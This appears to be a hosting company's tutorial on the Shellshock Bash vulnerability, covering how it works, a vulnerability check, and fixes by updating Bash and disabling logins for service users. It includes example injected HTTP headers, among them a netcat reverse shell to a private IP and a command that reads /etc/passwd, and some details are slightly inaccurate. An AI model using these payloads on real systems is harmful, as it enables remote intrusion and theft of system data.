Like any other software, the Bash command shell contains various vulnerabilities. One such vulnerability is Bashdoor, also known as Shellshock Bash. This vulnerability was first discovered in September 2014 and was assigned the highest level of severity — 10 out of 10 on the CVSS version 2.0 scale and 9.8 on the CVSS version 3.0 scale.
The vulnerability’s essence is that an attacker can remotely execute arbitrary commands, thereby gaining unlimited access to the system. Almost any Linux-based OS can be susceptible to Shellshock Bash, as the Bash shell is used by default in nearly all modern Linux distributions.
In this article, we will look at various ways to protect your server from the Shellshock Bash vulnerability.
As mentioned earlier, Shellshock Bash allows remote execution of arbitrary commands on the attacked system. The vulnerability arises because Bash finishes processing commands when importing functions stored in environment variables. In other words, the threat lies in the possibility of setting environment variables within the Bash interpreter that declare functions. The vulnerability occurs when Bash continues to process commands after the function declaration, leading to an attack with injected malicious code. Let's look at the Shellshock vulnerability with a specific example:
http-header = Cookie:() { :; }; ping -c 192.168.36.136
In this example, we defined an HTTP request consisting of a function set using the symbols () { :; }
and containing the interpreter command ping with the specified parameter in the form of an IP address. Any other command can be substituted for the ping command. In the example above, the remote command pings the IP address on the remote host after the function declaration.
Shellshock Bash can also be used in CGI scripts:
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.36.106 443" 192.168.x.y/CGI-bin/hello.cgi
And in HTTP requests:
curl --insecure 192.168.36.106 -H "User-Agent: () { :; }; /bin/cat /etc/passwd"
Shellshock can be exploited in the following ways:
Using in Bash scripts: Environment variables can be embedded in Bash scripts (files with the .sh extension). When Bash scripts are executed, the interpreter will execute the values specified in the environment variables.
Using a malicious web page: An environment variable is embedded in a web page. When a user visits the web page, the environment variable will be sent to the web server, which will execute an arbitrary command.
Sending email messages: A message is created containing an environment variable with the necessary content. When the user opens the message, the environment variable will be sent to the email client, which will execute an arbitrary command.
The Shellshock vulnerability can be exploited in systems running services or applications that allow unauthorized remote users to use Bash environment variables. These applications include:
Web servers supporting CGI script execution.
Servers with OpenSSH installed and the ForceCommand parameter enabled.
DHCP clients.
To check if your version of Bash is vulnerable, run the following command in the terminal:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
If the response is vulnerable
, your version of Bash is vulnerable, and you are susceptible to Shellshock Bash. If the response is this is a test
, your version of Bash already contains the necessary patches, and the Shellshock Bash vulnerability does not threaten you.
Next, we will look at various ways to prevent the Shellshock Bash attacks.
To protect your server from the Shellshock Bash vulnerability, take the following steps:
Update the Bash version: The simplest and quickest solution to the Shellshock Bash problem. Execute one of the following commands depending on your Linux distribution.
Debian-based distributions (Ubuntu, Linux Mint, Xubuntu, etc.):
apt update && apt install --only-upgrade bash
For Red Hat-based distributions (CentOS, Fedora, Red Hat Enterprise Linux, and others):
yum update bash
Or:
dnf update bash
After successfully updating your version of Bash, reproduce the vulnerability check described in the previous section.
Prevent users from logging into the server: In Linux systems, many programs create their users and run under these created users' names. You can disable login capabilities for these users in several ways.
Using the useradd
utility (where web
is the username):
useradd -s /sbin/nologin web
Using the adduser
utility (where web
is the username):
adduser --shell /sbin/nologin web
Disabling login for an existing user with the chsh
utility (where web
is the username):
chsh -s /sbin/nologin web
Note that the chsh
program may not be available in some Linux distributions.
Disabling login for an existing user with the usermod
utility (where web
is the username):
usermod web -s /sbin/nologin
In this article, we thoroughly examined the Shellshock Bash vulnerability and discussed protection methods. Although the Shellshock Bash vulnerability was discovered in 2014, various Shellshock exploitation methods still exist. This tutorial described several ways to mitigate this vulnerability and secure your system.
You can try our Linux VPS hosting for your projects.